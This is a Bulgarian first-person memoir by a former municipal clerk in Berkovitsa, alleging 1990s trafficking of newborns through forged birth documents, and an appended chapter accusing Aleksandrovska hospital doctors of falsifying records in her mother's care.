Оказва се, че за развихрилия се незаконен трафик на новородени в страната и чужбина са осведомени почти всички “отговорни” институции в градчето, овластени да контролират изпълнението на законите и преследнат нарушителите им. За действията на търговците на деца вече се знае и в столицата. Служителката сигнализира и в местната преса, обществеността научава за всичко, случващо се в местната болница и по етажите на местната власт, но безотговорност, страх или лични интереси пречат да се разбули истината докрай. Зашумява се и в централната преса. Журналисти от столицата посещават градчето, за да се запознаят със случая. Но си заминават, умело манипулирани, “предупредени” или уплашени да огласят това, което със сигурност са открили с професионалния си журналистически усет и ерудиция. Но странно защо “не достигат” до извора – до служителката и до документите!
В същия период драматично събитие раздвижва духовете задълго. Девойка от друго населено място ражда в берковската болница извънбрачно дете. И неговата съдба е предопределена. Действащите в търговската схема лица правят опит да скрият следите на бебето и успяват. Донякъде. Но съвсем изненадващо за всички, майката, след мъчителна битка със съвестта си, решава да прибере рожбата си. Намерението й обърква всичко. Тя напуска болницата, като споделя с персонала, че ще се срещне с бащата на детето и тогава ще вземе окончателното си решение. Само след един ден се връща в болницата. Но детето вече е продадено! От родилно отделение го изнасят по време на отсъствието на майката две непознати жени – същите, които случайно среща в този момент на входа на болницата Управителят на здравното заведение. Този факт той си спомня на следващия ден по време на разпит на завеждащия родилно отделение.
На разговора присъства следовател от полицейско управление, служителката от общинската администрация и управителят на болницата. Гинекологът с ирония подхвърля на присъстващите всевъзможни документи, нямащи нищо общо с разследвания случай и категорично и цинично заявява, че няма да издаде “тайната” за местонахождението на новороденото! Изумената служителка, неповярвала на случващото се, скача вбесена и изкрещява срещу циника:
“Как! Вие, господине, искате да кажете, че аз вчера съм родила детето си, оставила съм го за един ден във Вашите ръце, а Вие го давате някъде и отказвате да кажете къде е!…Що за престъпление е това!”
Но докторът сякаш е изгубил всякакво чувство на срам и най-малкото на неудобство. Да не споменаваме за “отговорност” пред полиция и който и да е друг представител на местната власт. Просто изпълнява успешно ролята на клоун в едно великолепно стъкмено от самия него цирково шоу. А лицата на другите двама присъстващи изразяват само недоумение и безпомощност. След скандала управителят на болницата, ненамиращ изход от абсурдната ситуаци, любезно подканя проверяващите да напуснат кабинета на един вече несъмнен престъпник! В своя кабинет той потвърждава личната си безпомощност и разказва за случайната среща с жените, изнесли дедето от болницата. Часове след инцидента и. д. кметът с негови колеги забелязва да излизат от града с автомобил шефът на Родилно отделение, придружаван от адвокатката. И както би могло да се очаква, наскоро майката променя изцяло показанията си.
След този случай и. д. кметът е информиран, че на входната врата на скандалната адвокатка някой е написал приблизително следния текст: “Убийца! Не забравяй, че и ти имаш дете!” Но “оплакване” до полицията не постъпва. Съвсем резонно.
Тогава емоциите са толкова силни, че служителката не си задава въпроса, но след години се пита: Ако завеждащият нямаше сигурен и стабилен гръб, щеше ли да има смелост и кураж за подобни действия?
Разкритието за изтъргуваното новородено е сензационно и покъртително за широката общественост, но не и за специализираните звена в съдебната система – полиция, съд, прокуратура. За подобна, достигнала до тях информация, споделят районният прокурор и началникът на РПУ в града. Но тогава никой няма желание да си “мърси” ръцете. Това е един от изводите. Вторият е: Не се знае кои точно са “двигателите” на този процес! Може би част от същите, които не желаят да се “цапат”!
Кой е “силният гръб”?
“Някой” започва усилено да стопира работата в отдела на Общинска администрация, където пристигат от Родилно отделение и се оформят документите на новородените. Дълго време не се предоставят в законоустановения за това срок. Служителката, оторизирана да ги обработва, внася докладна за случаите на фалшифицирането им до кмета и прокуратурата. Присъствала на злополучния “разговор” в болницата, тя е изпращана и на други “разговори” и “проверки” в РПУ, Районен съд, Районна болница. Управляващите умело демонстрират “активност” и “загриженост” за случващото се!
Със създаването на публичност на разкритията с новородените чрез местната и централна преса се завихря обществен скандал, в чийто център се озовава и общинската служителка, превърнала се в крайна сметка в изкупителна жертва. Започва следствие, заформя се съдебно дело, но…само толкова. Скандалът е потулен. Публична тайна остава твърдението, че в “голямата игра” основна е ролята на “големите пари”! За жалост!
“Безсилието” на властта
Следва период на затишие. В тези дни Общинска администрация е посетена от местен жител, юрист, живеещ в столицата, който споделя, че гореспоменатата адвокатка е известна и в столичните среди с около 40 продадени новородени! Но това не смущава все още никого. И няма кого да смути.
След отправяне вече на заплахи към служителката и семейството й, тя решава да се „брани“ сама. Включва се в курс за „Дейности с огнестрелно оръжие“. Този факт е сензация за изцяло мъжката аудитория на ръководители на предприятия и охранители. А и едва ли са допускали абсурдността на мотивите й за подобно решение! То изглежда „налудничаво“ за „широката общественост“ в малкия град и проявеното любопитство няма как да се прикрие. Колежка на „курсистката“ се престрашава и пита:
„Курсът за оръжие има ли нещо общо с изчезването на бебетата?“ Но как ли е можело да й се отговори?
Въпреки всичко търговската фиеста продължава. Майка на три деца ражда четвърто. Бащата, работещ в друго населено място, рядко посещава семейството и не успява да „усети“ и да разбере за този факт, майсторски прикриван от съпругата му. Детето е нежелано и майката иска да го изостави, като за тази цел ангажира отново местната адвокатка, специалист в тези дела. След уреждане на паричните взаимоотношения нотариус „обработва“ отказа от новороденото, като заверява нотариално документа, фалшифицирайки подписа на бащата. Детето е изпратено в София!
Но…в един момент майката изисква от адвокатката копие от „отказа“, което категорично й е отказано. Тя се обръща за съдействие към Общинска администрация и полицейско управление. Но никой не е в състояние да реши проблема й! А и адвокатката не би допуснала подобна грешка – представянето на копие от договора автоматически уличава нея и нотариуса в извършено престъпление! Но на среща с и. д. кмет и началника на Полицейско управление майката разкрива цялата истина, която се записва на касета /според кмета/. Но управляващите са „безсилни“!
Общинската служителка не издържа на тези издевателства срещу закона и истината и въпреки несъгласието на кмета заминава за столицата и посещава болницата, където проучва, че е настанено временно детето. Успява да пристигне, преди то да е „пренасочено“ за някъде. Легитимира се и получава копие от прословутия фалшификат, за който болничният персонал и не подозира. „Охранявана“ от кмета на път за Полицейско управление го предоставя на началника на управлението, с което решава, че е изпълнила дълга си като служител, човек и майка. Но изпитвайки съмнения, че очевадното доказателство за извършено престъпление от няколко защитници на закона е попаднало на мястото си!
Междувременно отново се задейства изобретателността на същите субекти, реализирали престъпната схема и отново в съучастие със същата майка. Наложително е все пак да се спасяват. Нотариусът, обезпокоен за кариерата си, посещава родното място на родилката – многодетна майка и след умела „обработка“ на съпруга й, чийто подпис в нотариално заверения документ е фалшифициран, се оказва, че бащата „е дал съгласието си по телефона!“…
И гаврите на властта нямат край!
Новият градоначалник влиза в играта
Новоизбраният кмет включва в екипа си същата адвокатка, станала печално известна с трафика с новородени. Само броени дни преди това, в неофициален разговор с него, главната редакторка на печатния орган на общината споделя притесненията си около избора на новия юридически консултант на кмета и общината, като за най-неподходящ посочва въпросната адвокатка. Уви! Именно тя отпочва „делата“ на общината. За кратък срок след пристигането си тя внася със „съветите“ си хаос в работата на общинското звено, занимаващо се с новородените. Отново същата главна редакторка предупреждава кмета, че с действията си адвокатката „разчиства лични сметки“, което фактически разстройва работата на цяло звено в структурите на общинска администрация.
Но новият кмет е в еуфория от постигнатата изборна победа, „приобщен“ и устремен впоследствие към откриващия се нов хоризонт за облагодетелстване, неотклонно следва съветите на своя юрис-консулт, които, разбира се, го устройват на сто процента.
С новия мандат започва и ново развихряне на скандала с бебетата. На 15 май в гр. Вършец, в домашно мазе /по признанията на дядото на новороденото/ се ражда извънбрачно дете, което е докарано впоследствие заедно с майката в Районната болница поради влошеното здравословно състояние на родилката. Необходимият документ „Съобщение за раждане“, изпратен от родилното отделение на болницата, пристига в законоустановения срок в съответната служба на Общинска администрация с подпис на майката, подпис и печат от здравното заведение. В него е отбелязано, забележете, че детето е „родено в болницата в Берковица“, в „присъствието на лекар и акушерка!“ В графата „Местожителство“ и „Местоживеене“ е отбелязано гр. Монтана, Дом „Майка и дете“, тъй като майката е решила да се откаже от детето. След като тя представя „Декларация за отказ“ от детето си, заверена нотариално в Районен съд, служителката в съответния отдел издава „Акт за раждане“, който майката получава чрез положен от нея подпис в Актовата книга. Привидно дотук всичко е наред. Впоследствие служители от АГО на същата болница съобщават на общинските служители, че този адрес, посочен в болничния документ за пребиваването на детето, не е верен. От кметството изискват нов документ с вярно посочен адрес за местонахождението на детето след изписването му от родилно отделение.
След публикация в местната преса от болницата изпращат втори документ с подпис и печат и с подписа на майката, в който отново е отбелязано раждането на детето в „здравно заведение“/!/ и „в присъствие на лекар и акушерка“/!/, с допълнение в графата за местожителство и местоживеене – освен Дом „Майка и дете“- Монтана, е „допълнено“, че „на 16 май /забележете! – светкавично, веднага на следващия ден след раждането му!/ детето е преведено в НИК-ВМИ-София, клиника по неонатология!
След скандалното разкритие, че детето не е родено в болницата и не „в присъствие на лекар и акушерка“, завеждащият Родилно отделение, /нашият познайник от сензационния „разговор“ с „тайната“ за местонахождението на вече познатото ни друго извънбрачно родено бебе/ стъкмява поредната си гавра с държавните служители, както и със своите работодатели в болницата, като изпраща трето/!/ пародийно „Съобщение за раждане“, в което не посочва нито името на майката, нито местоживеене и местожителство на новороденото, но пък с любопитна „корекция“ – детето този път е родено „у дома“ /но не беше в Берковица, както е отбелязано, а в гр. Вършец!/ и „без присъствие“ на лекар и акушерка“!…И полага собствения си подпис като „Зав. АГО“!
След настоятелно изискване от болницата на документ с пълно и вярно съдържание, в който се посочва действителното местонахождение, където ще бъде изпратено детето след временния му болничен престой в неонатологичната клиника в столицата, един от отговорите е: „То може и да умре!“
Тези нагли, цинични и безотговорни действия, почитаеми Читателю, са неизменната част от престъпната технология за трафик на деца в България, която се вихреше в средата на 90-те!
…Работата в кметството е блокирана, респ. и на служба „ЕСГРАОН“ в областния град, където по закон се придвижва документа на отказаното новородено. За възникналата неразрешима ситуация служителката уведомява устно кмета. Нареденото от него е да се подготви докладна до ръководителя на болницата, в която да бъде „помолен“ служителите му да изпълнят задълженията си, оформяйки точно и ясно документа на новороденото. Нареждането е изпълнено. За случая вече са уведомени и ресорния на отдела, и новоназначения/!/ юрис-консулт, който „съветва“ служителите „да не се занимават повече със случая“, а да подадат сигнал до прокуратурата. Играта наистина загрубява и участниците в този цирк вече не усещат, че губят контрол и излизат „извън релси“! „Ресорният“ също изиграва „ролята“ си и също „съветва“ служителите - да не сигнализират, а да предоставят тази „възможност“ на самия юрис-консулт… „Верни“ и „предани“ на кмета подчинени, достойни за възхищение!
Очевидно и най-вече възмутително е, че няма кой да разреши въпроса с документацията. Служителката отново решава да информира устно кмета, но той умело избягва среща с нея, като „обещава“ такава, но до края на работното време не се появява в служебния си кабинет. И тя решава да внесе писмено докладна за неразрешимия казус, в която предупреждава работодателя си, че ако не се намеси лично за разрешаване на проблема с новороденото, с което ще предотврати опасността от изчезването му, ще сигнализира най-висшите инстанции на съдебната система! С този акт настъпва и кулминацията. „Бунтът“ на служителката провокира всички, участвали или съглашателствали в схемата за трафика. И е назидана публично за „дързостта“ си. На специално организирана от кмета „среща“ между служители в общинска администрация и ръководството на болницата се разиграва пореден цирк, в което юристът на общината преобръща наопаки изразеното становище за сигнализиране на прокуратурата и обвинява в „бездействие“/!/ служителите в оторизирания за обработка на документите отдел в общината. Парадокс – престъплението е факт, но истината е поругана, а виновни са тези, които преследват тази истина! А толкова е просто обяснението – никой не може да се осмели да посегне на един печеливш „бизнес“, толкова печеливш, че играчите с цената на всичко го бранят докрай.
…Следва последен, четвърти/!/рунд – четвърти документ за едно и също новородено, в което вече са отбелязани всички изискващи се от закона данни, но този път без подпис на майката. За сметка на него пък фигурират два подписа от родилно отделение – и на завеждащия, и на акушерка!“
…В онзи период битката за всяко извънбрачно родено дете, водена от една обикновена и наивна служителка на най-ниското стъпало на държавната йерархия, атакувана от всички институции за поведението си, беше с предизвестена, тежка загуба. Но тази война и до днес не е спечелена от държавата. Защото войната за съхранение на остатъците от морал и човеколюбие може да бъде спечелена от личности, чиято свещена мисия е именно тази победа! А такива вече липсват. Или са на доизживяване.
А това вече е проблем за цялата ни нация!…
И тук е мястото да споменем следващия „главен герой“ в нашата история, чиито действия през 2009 г. довеждат до прословутия телефонен разговор със секретаря на Общинска администрация в Берковица. В този период политическите страсти на местно ниво са нагорещени до краен предел. Бивш общински съветник и бивш кандидат за кмет трудно преживява срива в постигнатата на някакво ниво политическа кариера и започва повсеместни атаки към местните управляващи. Възползвайки се от определени „връзки“ в медиите и съдебната система, с компромати „руши“ авторитета на местната власт – кмет и общински съветници. Опонентът сериозно застрашава устоите им и властимащите решават да се бранят с всякакви средства.
И изведнъж като в изневиделица, някой се „сеща“, че преди доста години този субект, юрист по образование и професия, е същият, участвал с действията си, макар и в сянка /и не само!/, в защитата /и не само!/ на трафикантите на новородени бебета! Същият тогава прави опит да изкупи от местна книжарница всички екземпляри на книга, официално оповестила трафика с новородени в града. И пак същият изкупува наведнъж стотици броеве на областно печатно издание с публикации за случващото се около неговите приятели-„търговци“!
И управляващите разчитат именно на тези факти. Последен отчаян опит за самоотбрана, за спасяване на властта, службиците и парите е „провокацията“ към общинската служителка, уволнена някога дисциплинарно поради атакуване на действията и престъпленията на всички гореспоменати „главни герои“! Тя може да им бъде полезна, като предприеме собствена атака и „припомни“ на обществото старите „провинения“ на опонента им.
И…както би казал Милан Революцията, тази служителка „бях аз“!
…Зимата на 2009 г. се грижех за умиращата ми майка в УМБАЛ „Александровска“ в столицата. Бях прекратила в продължение на месеци всички контакти с външния свят и телефонното позвъняване тогава на личност извън най-тясното ми обкръжение ме изненада. Обаждаше се секретарят на Общинска администрация –Берковица. След светкавично „резюме“ на проблема, не без доза притеснение, достига и до същността – не мога ли да „помогна“ по някакъв начин! Нали преди няколко години „съм писала нещо против тях!“…
Трагедията на майка ми и моята собствена бяха толкова покъртителни, че тогава бях изгубила способността да мисля и разсъждавам трезво. Но това обаждане ме извади от вегетирането ми, изуми ме, преобърна ми представите за нищожните, но все пак остатъци от етика, морал, почтеност, достойнство! Секретарят, може би използван като нечия чужда, удобна маша, едва ли съзнаваше на каква гавра със собствената си личност се беше подложил. Лично аз дълбоко се надявам да не го е осъзнавал, зашото в противен случай демонстрираше по най-скандален начин и доказваше на практика безочието, наглостта, лицемерието, аморалността, властолюбието, отмъстителността на властимащите ни днес!
Секретарят, натоварен с тази непочтена за моите представи мисия, нямаше как да знае, че искаше от мен нещо, което моята съвест, моето възпитание, чувството ми за лично достойнство, което отстоявам цял живот и си понасям последиците от това, не биха ми позволили подобно поведение. Защото изискваха от мен съпричастност към действията на тотално деградирала ценностна система, съхранила своята безпаметност. Бях в състояние да „атакувам“ мои лични бивши /а вероятно и настоящи/ врагове, само ако това го изискваше собствената ми личност, собствените ми необходимости.
Отговорът ми беше лаконичен:
„Г-н секретар, явно Вие пропускате нещо много съществено – едно от лицата, участвали в онази схема, за която ме молите отново да „пиша“ и което преди години трябваше да бъде зад решетките, в момента е Ваш юрис-консулт“!
С тази неочаквана за секретаря „констатация“ разговорът по телефона приключи. Но събеседникът ми може да бъде оневинен донякъде. Не поради наивитет, а поради слабата си информираност. Не знаеше още един факт: Прекият му началник понастоящем беше нарочният „свидетел“ на бившия градоначалник, и двамата участвали в сценария по моето дисциплинарно уволнение през лятото на 1997 г. поради „намесата“ ми в трафика с новородени!
Година и половина по-късно, в деня на празника на Берковица и президентското посещение, минавайки край мен, г-н Секретарят просто „не ме позна“!
Е…оневинен е, защото „поръчителят“ беше друг! А манипулираният винаги е достоен за съжаление!
ПРИЛОЖЕНИЕ
Из „Veneficium Bulgaricus – Сага за Виктория“
ГЛАВА ЧЕТВЪРТА
* * *
…Драмите около майка ми бяха толкова шокиращи, че последна грижа бяха някакви документи. И лекарите прекрасно са знаели това. Преди да напуснем болницата, получаваме единствената епикриза, в която мимоходом прочитам, че пациентката е постъпила „за втори път“/!/ Засега от документ за „първи прием“ няма и следа. Но не обърнах внимание на тази евентуална, за мен „техническа грешка“. А авторите се бяха подсигурили – епикризата от „втория прием“ си имаше и изходящ номер – 8104/877!
…Наистина неведоми са пътищата на съдбата. Кой е предполагал, че същата пациентка ще се върне почти веднага обратно в същата болница, в същата клиника и при невероятния лекарски екип? И от този момент стартират замислите по изфабрикуване на болнична документация, чиято единствена цел е да оправдае действията на лекуващите в източване на НЗОК. Колко ли време и интелектуална енергия са похабили за това?
От деня на постъпването на Виктория в „Александровска“ в продължение на шест дена не се предприемат никакви реални стъпки за лечението й. Назначените консултации с отделни специалисти се провалят една след друга. Основна причина за това са „служебни ангажименти“! Твърде любопитно е дали консултациите и прегледите на пациентите се вместват в тези „ангажименти“! Те са причина както майка ми, така и почти всички останали пациенти да бъдат разигравани и разкарвани из необятните пространства в дворовете на най-голямото в България болнично заведение, за да ги „консултират“ специалисти и да извършват назначените им изследвания. Такъв почти двукилометров круиз на болната ми майка до кабинет за ЕКГ /електрокардиограма/ и обратно до болничната стая й гарантира и тежка пневмония, която се оказа решаваща за очакващите я мъчения. Симптомите й започнаха светкавично, а й предстоеше несъмнено сложна и тежка хирургическа интервенция, която само Бог и съмишлениците на професора знаят дали се вмества и оправдава основнатахцел, която си поставя хирургът – хемостаза /спиране на кървенето/.
Упоритата кашлица на майка ми не спира. Но никой в болницата не обръща внимание на този проблем. Тук да не е клиника за белодробни болести! Очевидно авторитетът на професора не е респектиращият, който да задължи специалистите да изпълнят своя хуманен и лекарски дълг. Назначената консултация на 27 март със специалист-пулмолог не се осъществява. Причината е ясна и проста – „не дойде консултанта“ – отбелязват в листа за „наблюдение на болния“. На 30 март отново е назначена консултация с пулмолог. Отчетено е, че на същата дата тя е проведена, което не отговаря на истината. Фактите го доказват по-долу. Но за сметка на този „пропуск“ отново след десетки настойчиви молби към лекуващия професор, най-сетне се явява и интернистка. Но за наша изненада тя провежда „консултацията“ с болната единствено чрез диалог и то на почтително разстояние от нея. Може би грешим! Сигурно това е най-модерният и ефикасен метод в съвременната медицина.
Преди да подложат пациентката на пагубната туморна транс-уретрална резекция /Ту ТУР/ се предполага, или поне се изисква от правилата в медицината, да се извършат всички необходими и задължителни изследвания. Бяха ли извършени такива?
При постъпване в болницата рентгенографията на белите дробове на Виктория констатира липса на огнищни промени. Благодарение на провокираната чрез круиза на майка ми пневмония и последвалото нехайство и безотговорност на лекарския екип, непосредствено преди резекцията, следващото образно изследване, искането за което е подписано лично от лекуващия професор /на което никой не обръща внимание!/, отбелязва промяна в първоначалната констатация – наличие на „плеврални усилвания“ и „излив“. Каква друга би била причината за тази промяна, ако не безхаберието на лекарите? Резултатът от него вероятно щеше да бъде още по-драматичен, ако не бях попаднала съвсем случайно на дежурен в отделението анестезиолог, с когото споделих проблема на майка ми. Очевидно той беше наясно с предстоящата ТУР и съвсем в прав текст ми довери, че не споделя това решение на професора, нито вярва в успешния изход на манипулацията.
Беше моя фатална грешка, че тогава не вникнах по-задълбочено в думите му. Именно той прояви определена загриженост и съчувствие към изразеното мое безпокойство за пневмонията на майка ми и по своему ме „консултира“! Странно е, че единствено той се съобрази с доказано от медицинската наука твърдение, че вследствие на белодробната инфекция тя неминуемо достига до кръвния ток и до бъбреците, като им гарантира още едно тежко изпитание преди да унищожат функционирането им с транс-уретралната резекция! На хвърчащ лист, който пазя в документацията на Виктория, анестезиологът „изписа“ антибиотик „Azatril“, който трябваше за два дни/!/, непосредствено преди резекцията, да „излекува“ пневмонията на майка ми. Несъмнено подобна бърза и агресивна атака на сърцето беше погрешна и нехуманна. Лекарят е знаел това. Може би затова не получих надлежно попълнена от лекаря рецепта с оправданието, че „няма право“ на това. Такова „право“ със сигурност имаше консултиращата от разстояние интернистка, но тя съвсем не се възползва от него. Да не говорим пък за „дълга“ на прословутия „пулмолог“! Оставаше да разчитам единствено на човечността на млада фармацевтка, която с определен за службата си риск ми предостави без рецепта антибиотика. А ако беше отказала? И тогава нищо нямаше да спре професора да качи на операционната маса пациентка с очевадна пневмония!
На 27 март, преди агресивната медикаментозна атака на сърцето, пациентката е „хемодинамично стабилна“, с „ритмична сърдечна дейност“. На 31 март вкарват майка ми в операционната. Впоследствие в документа за „наблюдение на болния“ с дата 31 март присъстваща на нечовешкото зрелище лекарка, оказала се от малкото добросъвестни в тази дружина, а може би и безпокояща се в по-голяма степен за собствената си репутация, но със сигурност по-слаба сребролюбка, отбелязва:
„При поставяне на операционната маса болната е с аритмия, камерни екстрасистоли. За момента не подлежи на обща /спинална/ анестезия. След консултация с кардиолог и съответно /…/ може да се обсъди за подлежане на анестезия. С молба за Ro-графия pulmo et cor. С болед. перист. кашлица. Да се повтори ЛКК и…“
Нечувано, нали? Но чудовищното, престъпното е друго. Непосредствено преди тази гавра с болната в т. н. „Предоперативна епикриза“, нечия ръка е отбелязала следното:
„Ro gr/sc pulmo et cor – да“/!/
„КАТ – да“/!/
„Консултация с интернист – да“/!/
„Предлага се за оперативно лечение“/!/
/И може би най-безобидното тук, но изрично отбелязаното е, че пациентката „постъпва за втори път.“/!/ След като до този момент тя никога не е напускала болницата и официално не е била изпиствана./
В този ден някой трябваше задължително да зададе и изисква отговор на неотложните въпроси:
Преди или след качването на пациентката на операционната маса е била изготвена предоперативната епикриза с отбелязаните в нея изследвания?
Документът действителен ли е, или е напълно формално изготвен, след като след отложената – т. е. „пропадналата“ манипулация анестезиоложката дава мнения и становища, които според предоперативната епикриза са били извършени и пациентката се предлага за операция?
Ако необходимите изследвания са извършени предварително, дотолкова ли се разминават и си противоречат знанията и схващанията за научните методи и принципи в медицината на двама лекари-специалисти анестезиолози, че единият казва „Да“, а другият – категорично „Не!“? Ако наистина е така, всички ни очаква черно бъдеще.
Бяха ли налице реални изследвания, имаше ли легитимна документация, на която да разчитат хирурзите, чие мнение беше зачетено и чие – не?
Кой е отговорният, или по-скоро безотговорният, който подложи на тежко изпитание и медицинската наука, и майка ми, и някой почтен свой колега?
Безотговорни, пезпардонни, незачитащи нито клетва, нито дълг, нито човешко същество! Някой се е самозабравил в стремежа да реализира на всяка цена и веднага още една клинична пътека. /И още една, и още една!/ След този зрелищен провал лекуващият професор роптае, недоволен от реакцията на анестезиоложката по този „дребен“ проблем, а всъщност единствената, поне за момента спасила майка ми от смърт още на операционната маса.
На гореспоменатия документ под становището на анестезиоложката дава своето мнение и кардиолог, който констатира:
„пациентка с хипертонична болест и екстрасистолна аритмия, от седмица не си пие лекарствата „диротон“ и „тертензиф“ /а през тази една седмица тя е в ръцете и „грижите“ на същите лекари в „Александровска“!/…С мнение за лечение с „Betaloc Zoc“.
И забележете – всички тези заключения, мнения и препоръки, цялата тази „загриженост“ се проявяват след провалената резекция!
Нямам представа дали впоследствие някой от лекарите е обърнал внимание и се е съобразил с указанията на кардиолога и анестезиоложката, но препоръчаното лекарство в деня на „опита“ 31 март е изписано на рецептурна бланка едва на 7 април, втория ден от второто/реално/ постъпване на майка ми в същото отделение, а реализираният този път втори опит за ТУР е веднага на следващия ден – 1 април!
Но и от това никой не се интересува. Едва след скандалния провал в медицински документ са отбелязани консултация с кардиолог, ЕКГ, ЛКК, Ro-gr. Pulmo et cor, проба с „Ceftrin“, фигурира „Fragmin“, „Dexofen“, витамин „С“.
За да успокои все пак съвестта си, професорът решава /едва преди втория опит/ да изпише на пациентката антибиотика „Monural“ /„Fosfomycin“/. Изписаният за еднократен прием медикамент е предназначен за лечение на „неусложнени инфекции/!/ на долните пикочни пътища и профилактика при хирургични процедури“. Препоръчителни преди транс-уретрални хирургични процедури са две дози – първата се приема орално три часа преди операцията, втората – 25 часа след нея. Лекарството е „назначено“, но не и „изписано“ с рецептурна бланка! Такава ни се предоставя едва на 3-ти април – два дена след хирургичната интервенция на пациентката! За втора доза никой не споменава.
Професорът нервничи, нетърпелив е около възможността да изконсумира клиничната пътека. И прави с майка ми експеримент след експеримент, безсърдечно, безцеремонно, хладнокръвно, като с жив, ненужен плъх! Няма кой да охлади „ентусиазма“ му и да го върне в реалността. След всички препятствия той най-накрая е изпълнил намеренията си. Но в изфабрикуваната „История на заболяването“ след мнимия „втори“ прием нехайството е толкова голямо, че липсват каквито и да е данни, изискващи се в документа относно изхода от хоспитализацията. Не се знае болният дали е „оздравял“, дали е „с подобрение“, дали е „без промяна“ или „с влошаване“. Слава Богу, че и квадратчето, съответстващо на „починал“, засега е празно! Но и без това рискът не е съществен – поредната възрастна „бройка“ можеше да си отиде, просто защото „не е издържала на операцията“! Но както вече стана ясно, завидна доза старание пък е вложено в редактиране на епикризите на Виктория.
Дали наистина това поведение е нехайство, или са умишлено направени пропуски? Все пак е необходим документ, целящ да оправдае един несъществуващ прием на пациент. И съвсем логично е в него да не фигурира ничий подпис. Страшното за майка ми беше /което може да сполети всеки българин, потенциален пациент/, че въпреки ясно осъзнатата от лекарите невъзможност в рамките само на една нощ да бъдат елиминирани всички проблеми, довели до отлагането на една операция – хипертоничната болест, екстрасистолната аритмия, упорита кашлица и пневмония, те настървено продължават веднага пъкленото си дело! Кой го е грижа?
Елиминирани или не, трескава възбуда владее професора в часовете между двете интервенции – пропадналата и предстоящата. Ако тогава бяхме с бистър ум, нямаше как да ни убегне и да не ни безпокои това нетърпение, този стремеж на всяка цена да положи отново и веднага пациентката на операционната маса, престъпно игнорирайки всички реални причини за отлагането и рисковете за живота й от подобно съвършено безотговорно решение…
Под № 330, след една кошмарна нощ за шокираната Виктория и близките й, адът настъпва отново. В затрогващо единомислие с част от екипа си професорът чрез втори опит прави зрелищна операция. Дава тон на касапницата и без да се интересува от крайния резултат, преотстъпва скалпела на свой любопитен и любознателен по-млад колега. Нали все пак всички трябва да се „учат“! Нали науката трябва да напредва, нали такава е преди всичко и целта на този експеримент! Оправдан или не от медицинска гледна точка /от хуманна – категорично Не!/, с него ученият очаква да са приключили ангажиментите му към Виктория. По всяка вероятност научният му труд ще бъде обогатен с нова, актуална информация. Важното е, че пациентката е изписана в „добро общо състояние“, „афебрилна“, дори нещо повече – „даден й е телефон за връзка“! Но никой не дава никакви съвети, препоръки, указания за последващи и задължителни действия и грижи за една онкоболна!
Виктория постъпва в УМБАЛ „Александровска“ на 25-ти март и е изписана на 3-ти април. Както вече е известно, единствената епикриза, която получаваме в този ден от лекарите, е с текст:
„…приета на 31.03.09г., изписана на 03.04.09г…Постъпва за втори /!/ път в клиниката по повод микционно-дизурични смущения и епизоди на макроскопска хематурия.“
Напълно е игнориран първият прием. Епикризата от него с „измислената“ диагноза не трябваше да става наше достояние и ние нямаше как да научим за нея. На това е разчитал и г-н професорът!Уви! А и какво невежество допускам от моя страна да предполагам, че всичко това е само и единствено неволна грешка на човек от екипа или на самия професор. А може би са очаквали майка ми да се върне отново при тях, имайки предвид положените за нея медицински грижи! За да й връчат епикризата от първия прием! Със сигурност професорът би заложил и най-скъпото си това да не се случва. Но за негово нещастие – случи се!
В хаоса е допуснат много съществен пропуск, който отново документално компрометира авторите. В листа за „наблюдение на болния“ с изх. № 7655/834, който успях да съхраня, всички изследвания и манипулации логично следват на една и съща страница от деня на приемането 25-ти март до 1-ви април включително. Същото се отнася и за т. н. „температулен лист“ на пациентката. В него без прекъсване са отбелязани температурните амплитуди в състоянието на В иктория. И в листа фигурира едно единствено, отбелязано писмено „изписва се“ под дата 3-ти април!
Любопитно е дали изискванията за оформяне на болничната документация допускат на един и същ документ с изх. № 7655/834 да се попълват данни и изследвания на пациент, приет за „втори път“ в болницата и със съвършено различен изодящ № 8104/877? И като капак на всичко в единствения температурен лист е отбелязана стая №7, с легло №2, които сякаш съвсем случайно фигурират и в документа за мнимия „втори“ прием!
Но срамът за лекарския екип и преди всичко за професора нямаше да е пълен, ако не беше попълнен още един много важен документ, с който на пръв поглед авторите като че ли се подсигуряват и „бетонират“ законосъобразността на действията си – декларация „от името“ на Виктория, потвърждаваща, че един от лекарите й „предлага“ да бъде хоспитализирана на 31-ви март 2009 г.! Но нали вече е хоспитализирана!…Дявол да го вземе, нали за да има нов прием, трябва да има и изписване!…Скритата първоначално от нас епикриза с измислената диагноза ще свърши перфектно тази работа…Лекарят не се подписва, но вписва своя „УИН“! Може би неволно! А дали Виктория е знаела за какво полага своя подпис? Дали е автентичен? Може би ще узнаем в бъдещето!
Върху епикризата и за мнимия, и за реалния прием фигурират подписите на мастит професор, със сигурност врял и кипял в казана на беззаконието, както и на млад, но твърде сервилен, за жалост, лекар, който при други обстоятелства би се оказал изкупителната жертва на професора. Нему се падна незавидната участ да излее доста пот, хвърляйки се пред очите ми от кабинет в кабинет, като уплашена лястовица в неприветливо, тясно и задушно хале, докато успее да „синхронизира“ действията на колегите си, респ. да коригира и „уточни“ номерата на клиничните пътеки и текстовете в предоставените няколко на брой и с разминаващо се съдържание за един и същ прием епикризи, но всичките „оригинали“! И верният млад колега се справя перфектно. Но едва ли осъзнал риска за бъдещата си репутация на евентуално почитан и достоен лекар!
Станах неволен свидетел и бях изумена от тази срамна и жалка гонка, с която лекарите като че ли преследваха, и то упорито, собствените си кошмари. Когато виждат, че ги наблюдавам, скупчени до полуотворената врата на професорския кабинет по време на напрегнатия им разговор, може би спешен „консилиум“, но не за състоянието на пациентката, а за „здравословното състояние“ на документите, мигом я затварят.
„Гузен негонен бяга“ – е казал мъдрият ни народ…Сякаш аз от разстояние „подслушвах“ и бях в състояние да „чуя“ необичайния им разговор!
За изфабрикувания „трети прием“ получаваме две епикризи с различна редакция. Диагнозата на единия вариант беше допълнена с текст: „Collica renalis“! Анамнезата твърдеше: „Не се оплаква от болки!“ Но нали все нещо трябваше да свършат лекарите при приема на тази пациентка и то, забележете – „спешно“ насочена тук от „Спешен кабинет“ на „Александровска“. И независимо че според анамнезата Виктория не се оплаква от болки, единствената грижа според този вариант на епикризата се оказва „…спазмолитична и аналгетична терапия“, след което „болките намаляха“! – Нелогично, жалко, чудовищно!
